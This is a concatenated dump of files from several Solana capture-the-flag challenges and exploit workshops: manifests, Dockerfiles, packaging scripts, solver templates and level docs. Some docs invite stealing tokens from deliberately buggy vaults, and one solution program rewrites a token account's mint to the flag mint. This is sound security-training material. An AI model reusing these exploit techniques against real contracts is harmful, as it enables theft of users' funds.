/moar-horse-5/program/src/entrypoint.rs: -------------------------------------------------------------------------------- 1 | #![cfg(not(feature = "no-entrypoint"))] 2 | 3 | use solana_program::{ 4 | account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, pubkey::Pubkey, 5 | }; 6 | 7 | entrypoint!(process_instruction); 8 | fn process_instruction( 9 | program_id: &Pubkey, 10 | accounts: &[AccountInfo], 11 | instruction_data: &[u8], 12 | ) -> ProgramResult { 13 | crate::processor::process_instruction(program_id, accounts, instruction_data) 14 | } 15 | -------------------------------------------------------------------------------- /league-of-lamports/programs/src/shared/program.h: -------------------------------------------------------------------------------- 1 | typedef struct { 2 | uint16_t idx; 3 | uint16_t amt; 4 | } deposit_args; 5 | 6 | typedef struct { 7 | uint16_t idx; 8 | uint16_t amt; 9 | uint8_t bump; 10 | } withdraw_args; 11 | 12 | typedef struct { 13 | uint64_t lamports; 14 | uint64_t space; 15 | SolPubkey owner; 16 | } create_account_sys; 17 | 18 | typedef struct { 19 | uint64_t lamports; 20 | } transfer_amount_sys; 21 | 22 | #define CREATE_ACCOUNT 0 23 | #define TRANSFER 2 24 | -------------------------------------------------------------------------------- /pool/client/framework/chall/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /pool/client/framework-solve/solve/migrations/deploy.ts: -------------------------------------------------------------------------------- 1 | // Migrations are an early feature. Currently, they're nothing more than this 2 | // single deploy script that's invoked from the CLI, injecting a provider 3 | // configured from the workspace's Anchor.toml. 4 | 5 | const anchor = require("@project-serum/anchor"); 6 | 7 | module.exports = async function (provider) { 8 | // Configure client to use the provider. 9 | anchor.setProvider(provider); 10 | 11 | // Add your deploy script here. 12 | }; 13 | -------------------------------------------------------------------------------- /league-of-lamports/solution_template/solution/src/shared/program.h: -------------------------------------------------------------------------------- 1 | typedef struct { 2 | uint16_t idx; 3 | uint16_t amt; 4 | } deposit_args; 5 | 6 | typedef struct { 7 | uint16_t idx; 8 | uint16_t amt; 9 | uint8_t bump; 10 | } withdraw_args; 11 | 12 | typedef struct { 13 | uint64_t lamports; 14 | uint64_t space; 15 | SolPubkey owner; 16 | } create_account_sys; 17 | 18 | typedef struct { 19 | uint64_t lamports; 20 | } transfer_amount_sys; 21 | 22 | #define CREATE_ACCOUNT 0 23 | #define TRANSFER 2 24 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/deploy/program/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "bank-program" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [features] 9 | no-entrypoint = [] 10 | 11 | [dependencies] 12 | borsh = "0.9.1" 13 | borsh-derive = "0.9.1" 14 | solana-program = "1.7.10" 15 | spl-token = { version = "3.2.0", features = ["no-entrypoint"] } 16 | arrayref = "0.3.6" 17 | 18 | [lib] 19 | name = "bank" 20 | crate-type = ["cdylib", "lib"] 21 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/deploy/cli/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | edition = "2018" 3 | name = "bank-cli" 4 | version = "0.1.0" 5 | [dependencies] 6 | borsh = "0.9.1" 7 | chrono = "*" 8 | clap = "3.0.0-beta.2" 9 | solana-client = "1.7.10" 10 | solana-sdk = "1.7.10" 11 | solana-core = "1.7.10" 12 | solana-program = "1.7.10" 13 | solana-streamer = "1.7.10" 14 | solana-transaction-status = "1.7.10" 15 | spl-associated-token-account = "1.0.3" 16 | spl-token = "*" 17 | 18 | [dependencies.bank-program] 19 | features = ["no-entrypoint"] 20 | path = "../program" 21 | -------------------------------------------------------------------------------- /allesctf21/secret-store/deploy/program/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "store-program" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [features] 9 | no-entrypoint = [] 10 | 11 | [dependencies] 12 | borsh = "0.9.1" 13 | borsh-derive = "0.9.1" 14 | solana-program = "1.7.10" 15 | spl-token = { version = "3.2.0", features = ["no-entrypoint"] } 16 | arrayref = "0.3.6" 17 | 18 | [lib] 19 | name = "store" 20 | crate-type = ["cdylib", "lib"] 21 | -------------------------------------------------------------------------------- /pool/client/framework/chall/programs/chall/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "chall" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "chall" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [dependencies] 19 | anchor-lang = "0.25.0" 20 | anchor-spl = "0.25.0" 21 | spl-token = "3.3.0" 22 | spl-associated-token-account = "1.0.5" 23 | solana-program = "1.10.29" 24 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/solution/sintemal/solve.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | cargo build-bpf 3 | realpath=$(realpath .) 4 | bank_initializer_program=$(solana program deploy ${realpath}/target/deploy/bank_initializer.so -k ../../deploy/keys/rich-boi.json | cut -d" " -f3) 5 | 6 | cargo build 7 | 8 | spl-token create-account "F1agMint11111111111111111111111111111111111" --owner ../../deploy/keys/rich-boi.json 9 | 10 | rich_boi_path=$(realpath ../../deploy/keys/rich-boi.json) 11 | 12 | ${realpath}/target/debug/solution ${rich_boi_path} ${bank_initializer_program} 13 | 14 | -------------------------------------------------------------------------------- /pool/client/framework/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust@sha256:0372c87d4372dc1ae23caaf287f643f7c5ca799b40405efbb1bdf67588cc2629 2 | 3 | RUN apt-get update && apt-get install -qy libudev-dev 4 | 5 | WORKDIR /app 6 | COPY Cargo.toml Cargo.lock ./ 7 | COPY src ./src 8 | 9 | COPY chall ./chall 10 | 11 | RUN cargo build --release 12 | 13 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.10.32/install)" 14 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 15 | RUN cd chall && cargo build-bpf 16 | 17 | CMD [ "./target/release/framework" ] 18 | -------------------------------------------------------------------------------- /allesctf21/secret-store/deploy/cli/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | edition = "2018" 3 | name = "store-cli" 4 | version = "0.1.0" 5 | [dependencies] 6 | borsh = "0.9.1" 7 | chrono = "*" 8 | clap = "3.0.0-beta.2" 9 | solana-client = "1.7.10" 10 | solana-sdk = "1.7.10" 11 | solana-core = "1.7.10" 12 | solana-program = "1.7.10" 13 | solana-streamer = "1.7.10" 14 | solana-transaction-status = "1.7.10" 15 | spl-associated-token-account = "1.0.3" 16 | spl-token = "*" 17 | rand = "0.8.4" 18 | 19 | [dependencies.store-program] 20 | features = ["no-entrypoint"] 21 | path = "../program" 22 | -------------------------------------------------------------------------------- /league-of-lamports/solution_template/solution/src/solution/solution.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../shared/test.h" 3 | 4 | uint64_t solution(SolParameters *params) { 5 | return SUCCESS; 6 | } 7 | 8 | extern uint64_t entrypoint(const uint8_t *input) { 9 | sol_log("solution start"); 10 | 11 | SolAccountInfo accounts[10]; 12 | SolParameters params = (SolParameters){.ka = accounts}; 13 | 14 | if (!sol_deserialize(input, ¶ms, SOL_ARRAY_SIZE(accounts))) { 15 | return ERROR_INVALID_ARGUMENT; 16 | } 17 | 18 | return solution(¶ms); 19 | } 20 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/solution/sintemal/bank_initializer/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "bank_initializer" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [features] 9 | no-entrypoint = [] 10 | 11 | [dependencies] 12 | borsh = "0.9.1" 13 | borsh-derive = "0.9.1" 14 | solana-program = "1.7.10" 15 | spl-token = { version = "3.2.0", features = ["no-entrypoint"] } 16 | arrayref = "0.3.6" 17 | 18 | [lib] 19 | name = "bank_initializer" 20 | crate-type = ["cdylib", "lib"] 21 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level3.md: -------------------------------------------------------------------------------- 1 | # Level 3 - Tip Pool 2 | 3 | # Usage 4 | 5 | Ever needed an easy and secure way to tip people? This contract will solve all your donation problems: The operator creates a vault. Then everyone who wants can create a pool for their personal donation account – to receive tips. For tax-reasons all funds are stored centrally, you can just withdraw the desired amount whenever you need them, and pay taxes at that point. 6 | 7 | # Example Flow 8 | 9 | - Initialize the contract 10 | - Create a pool 11 | - Tip to the pool 12 | - Withdraw from the pool -------------------------------------------------------------------------------- /HalbornCTF_Rust_Solana/ctf/src/state.rs: -------------------------------------------------------------------------------- 1 | #![allow(clippy::too_many_arguments)] 2 | use { 3 | borsh::{BorshDeserialize, BorshSchema, BorshSerialize}, 4 | solana_program::{ 5 | pubkey::{Pubkey}, 6 | }, 7 | }; 8 | 9 | #[repr(C)] 10 | #[derive(Clone, Debug, Default, PartialEq, BorshDeserialize, BorshSerialize, BorshSchema)] 11 | /// this structs describes a Farm 12 | /// all farms are disabled by default 13 | pub struct Farm { 14 | pub enabled: u8, 15 | pub nonce: u8, 16 | pub token_program_id: Pubkey, 17 | pub creator: Pubkey, 18 | pub fee_vault: Pubkey, 19 | } -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level4.md: -------------------------------------------------------------------------------- 1 | # Level 4 2 | All the personal vaults we've seen so far only can only store SOL. 3 | Level 4 now implements a vault for arbitrary SPL tokens, the standard token implementation on Solana. 4 | 5 | For each user, the contract manages an SPL token account, to which deposits can be made. 6 | The account is derived from the user's address, and only this user should be able to withdraw the tokens again. 7 | 8 | Can you spot the bug, and steal the tokens from the wallet? 9 | 10 | Note: this bug is a bit sneaky, so don't feel bad if you don't spot it right away! -------------------------------------------------------------------------------- /solhana-ctf/server/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "server" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [dependencies] 7 | solana-sdk = "1.10.31" 8 | solana-client = "1.10.31" 9 | solana-transaction-status = "1.10.31" 10 | spl-token = "3.*.*" 11 | spl-associated-token-account = "1.0.*" 12 | axum = "0.5.*" 13 | tokio = { version = "1.14.*", features = ["full"] } 14 | hyper = { version = "0.14.*", features = ["full"] } 15 | serde = "1.0.*" 16 | serde_json = "1.0.*" 17 | serde_with = "1.12.*" 18 | bincode = "1.3.*" 19 | sqlite = "0.26.*" 20 | anyhow = "1.0.*" 21 | hex-literal = "0.3.*" 22 | 23 | [workspace] 24 | -------------------------------------------------------------------------------- /pool/client/framework-solve/solve/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.24.2" 8 | }, 9 | "devDependencies": { 10 | "chai": "^4.3.4", 11 | "mocha": "^9.0.3", 12 | "ts-mocha": "^8.0.0", 13 | "@types/bn.js": "^5.1.0", 14 | "@types/chai": "^4.3.0", 15 | "@types/mocha": "^9.0.0", 16 | "typescript": "^4.3.5", 17 | "prettier": "^2.6.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /pool/client/framework-solve/solve/tests/solve.ts: -------------------------------------------------------------------------------- 1 | import * as anchor from "@project-serum/anchor"; 2 | import { Program } from "@project-serum/anchor"; 3 | import { Solve } from "../target/types/solve"; 4 | 5 | describe("solve", () => { 6 | // Configure the client to use the local cluster. 7 | anchor.setProvider(anchor.AnchorProvider.env()); 8 | 9 | const program = anchor.workspace.Solve as Program; 10 | 11 | it("Is initialized!", async () => { 12 | // Add your test here. 13 | const tx = await program.methods.initialize().rpc(); 14 | console.log("Your transaction signature", tx); 15 | }); 16 | }); 17 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | image: rust:1.62-alpine 2 | 3 | stages: 4 | - deploy 5 | 6 | deploy_job: 7 | stage: deploy 8 | 9 | before_script: 10 | - apk update && apk add openssh-client rsync musl-dev 11 | - eval $(ssh-agent -s) 12 | - echo "$SSH_PRIVATE_KEY" | base64 -d | ssh-add - 13 | 14 | script: 15 | - cargo install mdbook 16 | - mdbook build --dest-dir public 17 | - rsync -e "ssh -o StrictHostKeyChecking=no" 18 | -atv 19 | --delete 20 | --progress 21 | public/ $SSH_USER@$SSH_HOST:/var/lib/caddy/live/websites/workshop.neodyme.io 22 | 23 | only: 24 | - main 25 | -------------------------------------------------------------------------------- /allesctf21/bugchain/zip.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -exuo pipefail 3 | 4 | rm -rf public/bugchain.zip 5 | SRCDIR="$(dirname $(realpath "${BASH_SOURCE[0]}"))" 6 | echo $SRCDIR 7 | 8 | WORKDIR="$(mktemp -d)" 9 | trap "rm -rf '$WORKDIR'" EXIT 10 | 11 | cd "$WORKDIR" 12 | mkdir bugchain 13 | find "$SRCDIR/deploy/" -maxdepth 1 -mindepth 1 -not -name "target" -and -not -name "ledger" -exec cp -r -t "bugchain/" "{}" "+" 14 | cp -r "$SRCDIR/public/"* bugchain/ 15 | zip -r $SRCDIR/public/bugchain.zip bugchain 16 | 17 | cd "$SRCDIR" 18 | shasum=$(sha256sum public/bugchain.zip | cut -d " " -f 1) 19 | sed -i "/sha256sum: /s/\".*\"/\"$shasum\"/" bugchain.cue 20 | -------------------------------------------------------------------------------- /pool/client/framework-solve/solve/programs/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | description = "Created with Anchor" 5 | edition = "2021" 6 | 7 | [lib] 8 | crate-type = ["cdylib", "lib"] 9 | name = "solve" 10 | 11 | [features] 12 | no-entrypoint = [] 13 | no-idl = [] 14 | no-log-ix-name = [] 15 | cpi = ["no-entrypoint"] 16 | default = [] 17 | 18 | [profile.release] 19 | overflow-checks = true 20 | opt-level = 3 21 | incremental = false 22 | codegen-units = 1 23 | 24 | [dependencies] 25 | anchor-lang = "0.25.0" 26 | anchor-spl = "0.25.0" 27 | chall = { path = "../../../../framework/chall/programs/chall", features = ["cpi"]} 28 | -------------------------------------------------------------------------------- /pool/client/framework/chall/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "scripts": { 3 | "lint:fix": "prettier */*.js \"*/**/*{.js,.ts}\" -w", 4 | "lint": "prettier */*.js \"*/**/*{.js,.ts}\" --check" 5 | }, 6 | "dependencies": { 7 | "@project-serum/anchor": "^0.25.0", 8 | "@solana/spl-token": "^0.2.0" 9 | }, 10 | "devDependencies": { 11 | "@types/bn.js": "^5.1.0", 12 | "@types/chai": "^4.3.0", 13 | "@types/mocha": "^9.0.0", 14 | "chai": "^4.3.4", 15 | "mocha": "^9.0.3", 16 | "prettier": "^2.6.2", 17 | "ts-mocha": "^10.0.0", 18 | "typescript": "^4.3.5" 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/solution/sintemal/solution/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solution" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | base64 = "0.13.0" 10 | solana-client = "1.7.10" 11 | solana-sdk = "1.7.10" 12 | spl-token = "*" 13 | spl-associated-token-account = "1.0.3" 14 | borsh = "0.9.1" 15 | bank-setup = { path = "../../../deploy/setup/" } 16 | 17 | [dependencies.bank-program] 18 | features = ["no-entrypoint"] 19 | path = "../../../deploy/program/" 20 | 21 | [target.x86_64-unknown-linux-gnu] 22 | linker = "x86_64-linux-gnu-gcc" -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level1.md: -------------------------------------------------------------------------------- 1 | # Level 1 - Personal Vault 2 | 3 | Let's get ready to write your first own exploit. 4 | We've simplified the contract used in Level 0 a bit - there's no shared vault anymore, the contract only manages personal vaults. 5 | The functionality is still the same: after initializing your account, you can deposit and withdraw SOL from this account. 6 | 7 | Each personal wallet account has an authority. This authority is stored in the account data struct: 8 | 9 | ```rust 10 | pub struct Wallet { 11 | pub authority: Pubkey 12 | } 13 | ``` 14 | 15 | Only the authority should be able to withdraw funds from a wallet. Can you break this? -------------------------------------------------------------------------------- /pool/client/framework/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "framework" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | anchor-lang = "0.25.0" 10 | solana-program-test = "1.9.13" 11 | solana-program = "1.9.13" 12 | solana-logger = "1.9.13" 13 | solana-sdk = "1.9.13" 14 | spl-token = "3.3.0" 15 | chall = { path = "chall/programs/chall", features = ["no-entrypoint"] } 16 | sol-ctf-framework = { git = "https://github.com/fcremo/sol-ctf-framework", branch="rewrite-v2" } 17 | # sol-ctf-framework = { path="../sol-ctf-framework" } 18 | threadpool = "1.8.1" 19 | -------------------------------------------------------------------------------- /allesctf21/secret-store/zip.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -exuo pipefail 3 | 4 | rm -rf public/secret-store.zip 5 | SRCDIR="$(dirname $(realpath "${BASH_SOURCE[0]}"))" 6 | echo $SRCDIR 7 | 8 | WORKDIR="$(mktemp -d)" 9 | trap "rm -rf '$WORKDIR'" EXIT 10 | 11 | cd "$WORKDIR" 12 | mkdir secret-store 13 | find "$SRCDIR/deploy/" -maxdepth 1 -mindepth 1 -not -name "target" -and -not -name "ledger" -exec cp -r -t "secret-store/" "{}" "+" 14 | cp -r "$SRCDIR/public/"* secret-store/ 15 | zip -r $SRCDIR/public/secret-store.zip secret-store 16 | 17 | cd "$SRCDIR" 18 | shasum=$(sha256sum public/secret-store.zip | cut -d " " -f 1) 19 | sed -i "/sha256sum: /s/\".*\"/\"$shasum\"/" secret-store.cue 20 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:1.56.0-bullseye 2 | 3 | RUN apt-get update && apt-get install -y clang libudev-dev 4 | 5 | RUN rustup component add rustfmt 6 | 7 | RUN adduser --gecos '' --disabled-password user 8 | USER 1000 9 | 10 | RUN sh -c "$(curl -sSfL https://release.solana.com/v1.8.2/install)" 11 | ENV PATH="/home/user/.local/share/solana/install/active_release/bin:${PATH}" 12 | 13 | WORKDIR /work 14 | 15 | USER 0 16 | COPY . /work 17 | RUN chown -R user:user /work 18 | USER 1000 19 | 20 | RUN echo 'eval $(tr "\0" "\n" < /proc/1/environ | sed -re "s@^@export @")' > /home/user/.bashrc 21 | 22 | # cargo run --bin 23 | CMD while :; do :; done & kill -STOP $! && wait $! 24 | -------------------------------------------------------------------------------- /darksols/darksols/spl-token/src/entrypoint.rs: -------------------------------------------------------------------------------- 1 | //! Program entrypoint 2 | 3 | use crate::{error::TokenError, processor::Processor}; 4 | use solana_program::{ 5 | account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, 6 | program_error::PrintProgramError, pubkey::Pubkey, 7 | }; 8 | 9 | entrypoint!(process_instruction); 10 | fn process_instruction( 11 | program_id: &Pubkey, 12 | accounts: &[AccountInfo], 13 | instruction_data: &[u8], 14 | ) -> ProgramResult { 15 | if let Err(error) = Processor::process(program_id, accounts, instruction_data) { 16 | // catch the error so we can print it 17 | error.print::(); 18 | return Err(error); 19 | } 20 | Ok(()) 21 | } 22 | -------------------------------------------------------------------------------- /HalbornCTF_Rust_Solana/ctf/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "ctf-solana-farm" 3 | version = "0.1.0" 4 | authors = ["lowprivuser"] 5 | repository = "https://github.com/solana-labs/solana" 6 | license = "Apache-2.0" 7 | homepage = "https://solana.com/" 8 | edition = "2018" 9 | 10 | [features] 11 | no-entrypoint = [] 12 | test-bpf = [] 13 | 14 | [dependencies] 15 | borsh = "0.9.1" 16 | borsh-derive = "0.9.1" 17 | solana-program = "1.7.8" 18 | num-derive = "0.3" 19 | num-traits = "0.2" 20 | thiserror = "1.0" 21 | spl-token = { version = "3.2.0", features = [ "no-entrypoint" ] } 22 | 23 | [dev-dependencies] 24 | solana-program-test = "1.7.8" 25 | solana-sdk = "1.7.8" 26 | 27 | [lib] 28 | name = "ctf_solana_farm" 29 | crate-type = ["cdylib", "lib"] 30 | -------------------------------------------------------------------------------- /darksols/darksols/spl-token/src/native_mint.rs: -------------------------------------------------------------------------------- 1 | //! The Mint that represents the native token 2 | 3 | /// There are 10^9 lamports in one SOL 4 | pub const DECIMALS: u8 = 9; 5 | 6 | // The Mint for native SOL Token accounts 7 | solana_program::declare_id!("So11111111111111111111111111111111111111112"); 8 | 9 | #[cfg(test)] 10 | mod tests { 11 | use super::*; 12 | use solana_program::native_token::*; 13 | 14 | #[test] 15 | fn test_decimals() { 16 | assert!( 17 | (lamports_to_sol(42) - crate::amount_to_ui_amount(42, DECIMALS)).abs() < f64::EPSILON 18 | ); 19 | assert_eq!( 20 | sol_to_lamports(42.), 21 | crate::ui_amount_to_amount(42., DECIMALS) 22 | ); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /cashio-exploit-workshop/poc/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "cashio-poc" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | solana-sdk = "1.9.20" 10 | solana-program = "1.9.20" 11 | solana-program-test = "1.9.20" 12 | solana-logger = "1.9.20" 13 | spl-token = "3.3.0" 14 | spl-associated-token-account = "1.0.5" 15 | 16 | anchor-lang = "0.24.2" 17 | anchor-spl = "0.24.2" 18 | 19 | arrow-sunny = "0.3.1" 20 | bankman = "0.3.1" 21 | brrr = "0.3.1" 22 | crate-token = "0.6.0" 23 | stable-swap-client = "1.8.1" 24 | 25 | brrr-shim = { path = "../brrr-shim" } 26 | 27 | anyhow = { version = "1.0.57", features = ["backtrace"] } 28 | tarpc = "0.27" 29 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4/vendored-spl-token-3.1.0/src/entrypoint.rs: -------------------------------------------------------------------------------- 1 | //! Program entrypoint 2 | 3 | use crate::{error::TokenError, processor::Processor}; 4 | use solana_program::{ 5 | account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, 6 | program_error::PrintProgramError, pubkey::Pubkey, 7 | }; 8 | 9 | entrypoint!(process_instruction); 10 | fn process_instruction( 11 | program_id: &Pubkey, 12 | accounts: &[AccountInfo], 13 | instruction_data: &[u8], 14 | ) -> ProgramResult { 15 | if let Err(error) = Processor::process(program_id, accounts, instruction_data) { 16 | // catch the error so we can print it 17 | error.print::(); 18 | return Err(error); 19 | } 20 | Ok(()) 21 | } 22 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/level4/vendored-spl-token-3.1.0/src/native_mint.rs: -------------------------------------------------------------------------------- 1 | //! The Mint that represents the native token 2 | 3 | /// There are 10^9 lamports in one SOL 4 | pub const DECIMALS: u8 = 9; 5 | 6 | // The Mint for native SOL Token accounts 7 | solana_program::declare_id!("So11111111111111111111111111111111111111112"); 8 | 9 | #[cfg(test)] 10 | mod tests { 11 | use super::*; 12 | use solana_program::native_token::*; 13 | 14 | #[test] 15 | fn test_decimals() { 16 | assert!( 17 | (lamports_to_sol(42) - crate::amount_to_ui_amount(42, DECIMALS)).abs() < f64::EPSILON 18 | ); 19 | assert_eq!( 20 | sol_to_lamports(42.), 21 | crate::ui_amount_to_amount(42., DECIMALS) 22 | ); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /allesctf21/legit-bank/zip.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | set -exuo pipefail 3 | 4 | rm -rf public/legit-bank.zip 5 | SRCDIR="$(dirname $(realpath "${BASH_SOURCE[0]}"))" 6 | echo $SRCDIR 7 | 8 | WORKDIR="$(mktemp -d)" 9 | trap "rm -rf '$WORKDIR'" EXIT 10 | 11 | cd "$WORKDIR" 12 | mkdir legit-bank 13 | find "$SRCDIR/deploy/" -maxdepth 1 -mindepth 1 -not -name "target" -and -not -name "ledger" -exec cp -r -t "legit-bank/" "{}" "+" 14 | cp -r "$SRCDIR/public/keys" legit-bank/ 15 | rm legit-bank/keys/bank-manager.json 16 | rm legit-bank/keys/flag-depot.json 17 | cp -r "$SRCDIR/public/Dockerfile" legit-bank/ 18 | zip -r $SRCDIR/public/legit-bank.zip legit-bank 19 | 20 | cd "$SRCDIR" 21 | shasum=$(sha256sum public/legit-bank.zip | cut -d " " -f 1) 22 | sed -i "/sha256sum: /s/\".*\"/\"$shasum\"/" legit-bank.cue 23 | -------------------------------------------------------------------------------- /allesctf21/bugchain/solution/author/program/src/lib.rs: -------------------------------------------------------------------------------- 1 | use std::str::FromStr; 2 | 3 | use solana_program::entrypoint; 4 | use solana_program::program_pack::Pack; 5 | use solana_program::{account_info::AccountInfo, entrypoint::ProgramResult, pubkey::Pubkey}; 6 | 7 | entrypoint!(process_instruction); 8 | 9 | pub fn process_instruction( 10 | _program_id: &Pubkey, 11 | accounts: &[AccountInfo], 12 | _instruction_data: &[u8], 13 | ) -> ProgramResult { 14 | let acc = &accounts[0]; 15 | let mut token_account = 16 | spl_token::state::Account::unpack_unchecked(*acc.data.borrow()).unwrap(); 17 | token_account.mint = Pubkey::from_str("F1agMint11111111111111111111111111111111111").unwrap(); 18 | Pack::pack(token_account, &mut acc.data.borrow_mut()).unwrap(); 19 | Ok(()) 20 | } 21 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/pocs/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "pocs" 3 | version = "0.1.0" 4 | edition = "2018" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | poc-framework = { version = "0.1.5" } 10 | level0 = { path = "../level0", features = ["no-entrypoint"] } 11 | level1 = { path = "../level1", features = ["no-entrypoint"] } 12 | level2 = { path = "../level2", features = ["no-entrypoint"] } 13 | level3 = { path = "../level3", features = ["no-entrypoint"] } 14 | level4 = { path = "../level4", features = ["no-entrypoint"] } 15 | 16 | solana-program = "1.8.2" 17 | borsh = "0.9.1" 18 | borsh-derive = "0.9.1" 19 | spl-token = { version = "*", features = ["no-entrypoint"] } 20 | 21 | owo-colors = "3.1.0" 22 | solana-logger = "1.8.2" 23 | 24 | [lib] 25 | -------------------------------------------------------------------------------- /solhana-ctf/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:1.60 2 | EXPOSE 3000 3 | 4 | # update our shit 5 | RUN apt update && apt upgrade -y 6 | RUN apt install sqlite3 daemonize 7 | 8 | RUN mkdir /ctf 9 | WORKDIR /ctf 10 | 11 | # install dependencies for the project so they can be cached 12 | RUN cargo new --bin server 13 | WORKDIR ./server 14 | COPY ./server/Cargo.lock ./Cargo.lock 15 | COPY ./server/Cargo.toml ./Cargo.toml 16 | run cargo build --release 17 | RUN rm -r src/ 18 | 19 | # copy over the project and build it properly 20 | COPY ./keys /ctf/keys 21 | COPY ./server/src ./src 22 | RUN rm ./target/release/deps/server* 23 | RUN cargo build --release 24 | 25 | # copy over rest of the shit 26 | COPY ./docker /ctf/docker 27 | COPY ./elf /ctf/elf 28 | 29 | # init the player database 30 | RUN /ctf/docker/init_db.sh 31 | 32 | CMD ["/ctf/docker/start_server.sh"] 33 | -------------------------------------------------------------------------------- /pool/client/framework-solve/solve/programs/solve/src/lib.rs: -------------------------------------------------------------------------------- 1 | use chall; 2 | use chall::cpi::create_pool; 3 | use anchor_lang::prelude::*; 4 | use anchor_lang::solana_program; 5 | use solana_program::program::invoke; 6 | 7 | use anchor_spl::token::{Token, TokenAccount, Mint}; 8 | 9 | declare_id!("ze11ic1111111111111111111111111111111111111"); 10 | 11 | #[program] 12 | pub mod solve { 13 | use super::*; 14 | 15 | pub fn dummy(_ctx: Context) -> Result<()> { 16 | Ok(()) 17 | } 18 | } 19 | 20 | #[derive(Accounts)] 21 | pub struct Dummy<'info> { 22 | #[account(mut)] 23 | pub payer: Signer<'info>, 24 | 25 | pub chall: Program<'info, chall::program::Challenge>, 26 | 27 | pub system_program: Program<'info, System>, 28 | pub token_program: Program<'info, Token>, 29 | pub rent: Sysvar<'info, Rent>, 30 | } 31 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level0.md: -------------------------------------------------------------------------------- 1 | This is the presentation we held at Breakpoint 2021. We explained the basics of level 0 and how to exploit it. You can watch the presentation on YouTube and follow along in the presentation. 2 | 3 | 4 | 5 | 6 | 7 |

This browser does not support PDFs. Please download the PDF to view it: Download PDF.

8 | 9 |
